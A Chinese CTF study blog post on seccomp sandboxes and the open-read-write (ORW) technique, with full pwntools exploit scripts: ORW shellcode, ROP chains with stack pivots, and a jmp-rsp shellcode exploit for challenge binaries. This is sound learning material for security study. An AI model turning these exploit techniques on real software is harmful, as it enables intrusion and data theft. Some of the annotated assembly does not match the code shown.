sandbox专题学习 刚刚学完栈迁移📚,发现 sandbox 🧱经常和栈迁移结合,于是就仔细学一下 sandbox 🤓!
💻 Sandbox绕过好像很多,也复杂 😤,这里只好记录一下ORW的学习 📝
orw 什么时候用orw 当程序开启沙箱保护,禁用一些系统调用,禁用execve等,使得我们不能通过使用system和execve来getshell。此时我们就要用到orw来解决这些问题。
orw是什么 orw就是open,read,write这三个函数的简写,打开flag,读取flag,写出flag通过这三步来得到flag。
sandbox的开启 第一种是利用prctl(),第二种是利用seccomp的库函数
(1) prctl():
在 Linux 系统编程中,prctl
函数结合 PR_SET_SECCOMP
或 PR_SET_NO_NEW_PRIVS
标志可用于开启 seccomp(Secure Computing)沙箱 ,这是一种限制进程系统调用(syscall)的安全机制。
PR_SET_NO_NEW_PRIVS:
1 prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); #禁止进程及其子进程通过 execve 等获得新权限
PR_SET_SECCOMP:
严格模式(SECCOMP_MODE_STRICT
) :仅允许 read
, write
, _exit
, sigreturn
四个系统调用。
1 prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
过滤器模式(SECCOMP_MODE_FILTER
):自定义允许/拒绝的系统调用列表(通过 BPF 规则)。
1 2 struct sock_fprog filter = { ... }; // 定义 BPF 过滤器 prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filter);
例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct sock_filter filter [] = { BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 0 , 1 ), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_read, 0 , 1 ), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), }; struct sock_fprog prog = { .len = sizeof (filter) / sizeof (filter[0 ]), .filter = filter, };
(2)seccomp的库函数:例如libseccomp 库
例子:仅允许进程执行 exit_group
、read
、write
系统调用:
1 2 3 4 5 6 #include <seccomp.h> scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0 ); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0 ); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0 ); seccomp_load(ctx);
了解完这些,就开始学习如何解决它了(orw)
seccomp-tools可以用来查看沙箱的情况
安装:
1 2 3 sudo apt install gcc ruby-dev sudo gem install seccomp-tools seccomp-tools dump ./elf #elf换成你自己的文件名
可以看到那些函数是可以用的。
open、read、write函数的了解 open()函数:
函数原型
1 2 3 4 5 #include <fcntl.h> #include <unistd.h> int open (const char *pathname, int flags) ;int open (const char *pathname, int flags, mode_t mode) ;
pathname
:
文件路径名(字符串),例如:"flag"
、"/tmp/test.txt"
。
flags
:
打开文件的方式,比如只读、只写、读写等。
可以组合多个标志(使用按位或 |
操作符)。
标志常量
十六进制值
含义
O_RDONLY
0x0
只读方式打开文件
O_WRONLY
0x1
只写方式打开文件
O_RDWR
0x2
读写方式打开文件
系统调用号:
sys_open
的系统调用号是 5
(十进制),即 0x5
。
关键点
内容
函数名
open()
功能
打开或创建文件
返回值
文件描述符(成功)或 -1(失败)
常用 flag
O_RDONLY
, O_WRONLY
, O_RDWR
, O_CREAT
, O_TRUNC
, O_APPEND
mode 参数
用于指定新文件权限,如 0644
系统调用号
5
(Linux x86)
寄存器传参
eax=5
, ebx=filename
, ecx=flags
, edx=mode
read()函数:
函数原型:
1 2 3 #include <unistd.h> ssize_t read (int fd, void *buf, size_t count) ;
参数名
类型
含义
fd
int
文件描述符(由 open()
或其他方式获得)
buf
void*
用户空间的缓冲区地址,用来保存读取的数据
count
size_t
要读取的最大字节数
系统调用号:
sys_read
的系统调用号是 3
(十进制),即 0x3
。
1 2 3 4 5 6 寄存器传参方式(Linux x86): 寄存器 对应参数 eax 系统调用号:3 ebx 文件描述符 fd ecx 缓冲区地址 buf edx 要读取的字节数 count
write()函数:
函数原型:
1 2 3 #include <unistd.h> ssize_t write (int fd, const void *buf, size_t count) ;
参数名
类型
含义
fd
int
文件描述符(由 open()
或其他方式获得)
buf
const void*
用户空间的缓冲区地址,包含要写入的数据
count
size_t
要写入的最大字节数
系统调用号:
sys_write
的系统调用号是 4
(十进制),即 0x4
。
寄存器传参方式(Linux x86):
寄存器
对应参数
eax
系统调用号:4
ebx
文件描述符 fd
ecx
缓冲区地址 buf
edx
要写入的字节数 count
做完了铺垫,现在就开始orw shellcode绕过 首先,看看最简单的orw,在没有开启NX的条件下,可以直接写入这三个函数执行。
第一种直接用汇编写
1 2 3 4 #0x67616c66根据文件名改动 0x67616c66转ASCII-->flag shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80') shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80') shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
具体解释一下这个汇编代码,根据上面对open,read,write函数的了解,汇编也就很好理解了。
1 2 3 4 5 6 7 8 #fd = open("flag", O_RDONLY); push 0x0 ; 将0压栈,表示以只读方式打开文件(O_RDONLY) push 0x67616c66 ; 将"flag"字符串的ASCII值压栈(注意字节顺序是反的,实际上是'flag') mov ebx, esp ; 将栈顶指针赋值给ebx,作为文件名指针 xor ecx, ecx ; 清空ecx寄存器(第二个参数,O_RDONLY) xor edx, edx ; 清空edx寄存器(第三个参数,权限模式,这里不需要) mov eax, 0x5 ; 调用sys_open (系统调用号5) int 0x80 ; 触发中断,执行系统调用
1 2 3 4 5 mov eax, 0x3 ; 调用sys_read (系统调用号3) mov ecx, ebx ; 文件描述符(由上一步返回值在ebx中) xor ebx, ebx ; 清空ebx,作为文件描述符0(标准输入) mov edx, 0x100 ; 读取长度为256字节 int 0x80 ; 触发中断,执行系统调用
1 2 3 mov eax, 0x4 ; 调用sys_write (系统调用号4) xor ebx, ebx ; 清空ebx,作为文件描述符1(标准输出) int 0x80 ; 触发中断,执行系统调用
还可以通过传参传入flag的位置
1 2 3 4 5 6 7 8 9 s = ''' xor edx,edx; mov ecx,0; mov ebx,0x804a094; mov eax,5; int 0x80; ''' s += ''' mov edx,0x40; mov ecx,ebx; mov ebx,eax; mov eax,3; int 0x80; ''' s += ''' mov edx,0x40; mov ebx,1; mov eax,4 int 0x80; ''' payload = asm(s)+b'/home/pwn/flag\x00'
第二种直接利用pwntools
1 2 3 4 5 payload = shellcraft.open ('flag' ) payload += shellcraft.read(3 , 0x804a090 , 0x100 ) payload += shellcraft.write(1 , 0x804a090 , 0x100 ) p.sendline(asm(payload))
exp:
1 2 3 4 5 6 7 8 9 from pwn import *io = process("./orw" ) io.recvuntil(b'shellcode:' ) shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80' ) shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80' ) shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80' ) payload = shellcode io.send(payload) io.interactive()
ROP绕过 例题
1 2 3 4 5 6 7 8 9 10 int __fastcall main (int argc, const char **argv, const char **envp) { setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); gift(); init_sandbox(); sandboxx(); return 0 ; }
1 2 3 4 5 6 7 8 9 ssize_t sandboxx () { char buf[16 ]; puts ("Welcome to the Sandbox Challenge" ); puts ("Maybe you need an open read wirte " ); printf ("please input your name:" ); return read(0 , buf, 0x100u LL); }
1 2 3 4 5 int gift () { puts ("I will give you a nice little gift" ); return printf ("Leak: %p\n" , &puts ); }
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *context(os='linux' ,arch='amd64' ,log_level='debug' ) p=process("./sandbox" ) elf=ELF("./sandbox" ) libc=ELF("libc.so.6" ) def bug (): gdb.attach(p) pause() bss=0x404020 +0x800 sandboxx = 0x4013ED p.recvuntil("0x" ) libc_base=int (p.recv(12 ),16 )-libc.sym['puts' ] print (hex (libc_base))rdi=libc_base+0x0000000000023b6a rsi=libc_base+0x000000000002601f rdx_r12=libc_base+0x0000000000119431 rsp = libc_base + 0x000000000002f70a open_addr=libc_base+libc.sym['open' ] read_addr=libc_base+libc.sym['read' ] write_addr=libc_base+libc.sym['write' ] payload2=b'a' *0x10 +b'a' *0x8 +p64(rdi)+p64(0 )+p64(rsi)+p64(bss)+p64(rdx_r12)+p64(0x100 )+p64(0 )+p64(read_addr)+p64(rsp)+p64(bss + 8 ) p.recvuntil(b"name:" ) p.send(payload2) payload =b'/flag\x00\x00\x00' payload +=p64(rdi) payload +=p64(bss) payload +=p64(rsi) payload +=p64(0 ) payload +=p64(open_addr) payload +=p64(rdi) payload +=p64(3 ) payload +=p64(rsi) payload +=p64(bss+0x600 ) payload +=p64(rdx_r12) payload +=p64(0x100 )*2 payload +=p64(read_addr) payload +=p64(rdi) payload +=p64(1 ) payload +=p64(rsi) payload +=p64(bss+0x600 ) payload +=p64(rdx_r12) payload +=p64(0x100 )*2 payload +=p64(write_addr) payload +=p64(sandboxx ) p.send(payload) p.interactive()
江西省赛
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) io = remote("" ,12345 ) gs = ''' b *$rebase(0x19f2) set debug-file-directory /home/zacsn/.config/cpwn/pkgs/2.31- 0ubuntu9.17/amd64/libc6-dbg_2.31-0ubuntu9.17_amd64/usr/lib/debug set directories /home/zacsn/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/glibcsource_2.31-0ubuntu9.17_all/usr/src/glibc/glibc-2.31 ''' s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda : io.recv() rl = lambda : io.recvline() rn = lambda counts : io.recvn(counts) ru = lambda text : io.recvuntil(text) uu32 = lambda : u32(io.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(io.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) iuu32 = lambda : int (io.recv(10 ),16 ) iuu64 = lambda : int (io.recv(6 ),16 ) uheap = lambda : u64(io.recv(6 ).ljust(8 ,b'\x00' )) lg = lambda data : io.success('%s -> 0x%x' % (data, eval (data))) ia = lambda : io.interactive() elf = ELF("./pwn" ) libc = ELF("./libc.so.6" ) pop_rdi = 0x00000000004013d3 ru(b"hello sandbox!" ) payload = b'a' * 0x28 + p64(pop_rdi) + p64(elf.got['puts' ]) + p64(elf.plt['puts' ]) + p64(0x4012f9 ) sl(payload) ru(b'\x0a' ) puts_addr = u64(rn(6 )+b'\x00\x00' ) lg("puts_addr" ) libc_addr = puts_addr - libc.sym['puts' ] lg("libc_addr" ) open_addr = libc_addr + libc.sym['open' ] read_addr = libc_addr + libc.sym['read' ] write_addr = libc_addr + libc.sym['write' ] pop_rsi = libc_addr + 0x000000000002601f pop_rdx = libc_addr + 0x0000000000142c92 pop_rax = libc_addr + 0x0000000000036174 syscall = libc_addr+libc.search(asm("""syscall;ret""" )).__next__() bss_addr = 0x404200 ru(b"hello sandbox!" ) payload2 = b'a' * 0x28 + p64(pop_rdi) + p64(0 ) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0x10 ) + p64(read_addr) payload2 += p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0 ) + p64(pop_rdx) + p64(0 ) + p64(pop_rax) + p64(2 ) + p64(syscall) payload2 += p64(pop_rdi) + p64(3 ) + p64(pop_rsi) + p64(bss_addr + 0x100 ) + p64(pop_rdx) + p64(0x30 ) + p64(read_addr) payload2 += p64(pop_rdi) + p64(1 ) + p64(pop_rsi) + p64(bss_addr + 0x100 ) + p64(pop_rdx) + p64(0x30 ) + p64(write_addr) sl(payload2) sleep(1 ) sl(b"./flag\x00\x00" ) ia()
今天先写到这✍️,以后还会接着写📖,但是明天就要开始着手学堆了🔥,不然很多比赛都打不了🏆💪。
ctfshow pwn69 1 2 3 4 5 6 7 8 int sub_400A16 () { char buf[32 ]; puts ("Now you can use ORW to do" ); read(0 , buf, 0x38u LL); return puts ("No you don't understand I say!" ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009 0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009 0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL
可以看到orw是可以的,所以我们要先利用read将orw读到
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) elf = ELF('./pwn' ) p = remote('pwn.challenge.ctf.show' ,'28191' ) mmap = 0x123000 orw_shellcode = shellcraft.open ("./ctfshow_flag" ) orw_shellcode += shellcraft.read(3 ,mmap,100 ) orw_shellcode += shellcraft.write(1 ,mmap,100 ) orw_shellcode = asm(orw_shellcode) jmp_rsp_addr = 0x400a01 buf_shellcode = asm(shellcraft.read(0 ,mmap,100 )) + asm("mov rax,0x123000; jmp rax" ) buf_shellcode = buf_shellcode.ljust(0x28 ,b'\x00' ) buf_shellcode += p64(jmp_rsp_addr) + asm("sub rsp,0x30; jmp rsp" ) p.recvuntil('do' ) p.sendline(buf_shellcode) p.sendline(orw_shellcode) p.interactive()
这一部分是标准的orw
1 2 3 4 orw_shellcode = shellcraft.open ("./ctfshow_flag" ) orw_shellcode += shellcraft.read(3 ,mmap,100 ) orw_shellcode += shellcraft.write(1 ,mmap,100 ) orw_shellcode = asm(orw_shellcode)
这部分我来详细解释一下
1 2 3 buf_shellcode = asm(shellcraft.read(0 ,mmap,100 )) + asm("mov rax,0x123000; jmp rax" ) buf_shellcode = buf_shellcode.ljust(0x28 ,b'\x00' ) buf_shellcode += p64(jmp_rsp_addr) + asm("sub rsp,0x30; jmp rsp" )
asm(shellcraft.read(0,mmap,100)):这是汇编代码,用于调用read系统调用,从标准输入读取最多100字节的数据到地址0x123000。
asm(“mov rax,0x123000; jmp rax”):先将0x123000放入rax,然后jmp rax执行shellcode,为什么是sellcode呢等下再说。
p64(jmp_rsp_addr):将返回地址覆盖成jmp rsp,此时程序跳转到 rsp
指向的位置,即 asm("sub rsp, 0x30; jmp rsp")
因为pop ebp后rsp
增高0x08。
asm(“sub rsp,0x30; jmp rsp”):sub rsp,0x30使得rsp减0x30到达了buf的起始位置,jmp rsp就开始执行了。
然后我来看看整个流程。
p.sendline(buf_shellcode)后,栈上
1 2 3 4 read(0,mmap,100) buf_shellcode.ljust(0x28,b'\x00') p64(jmp_rsp_addr) # return_addr asm("sub rsp,0x30; jmp rsp")
有第二部分的分析我们知道rsp此时已经达到buf的起始位置开始执行read了,所以我们才有第二次send。
我们把标准的orw输入后,同理rsp又会回到起始位置开始执行orw,最终得到flag。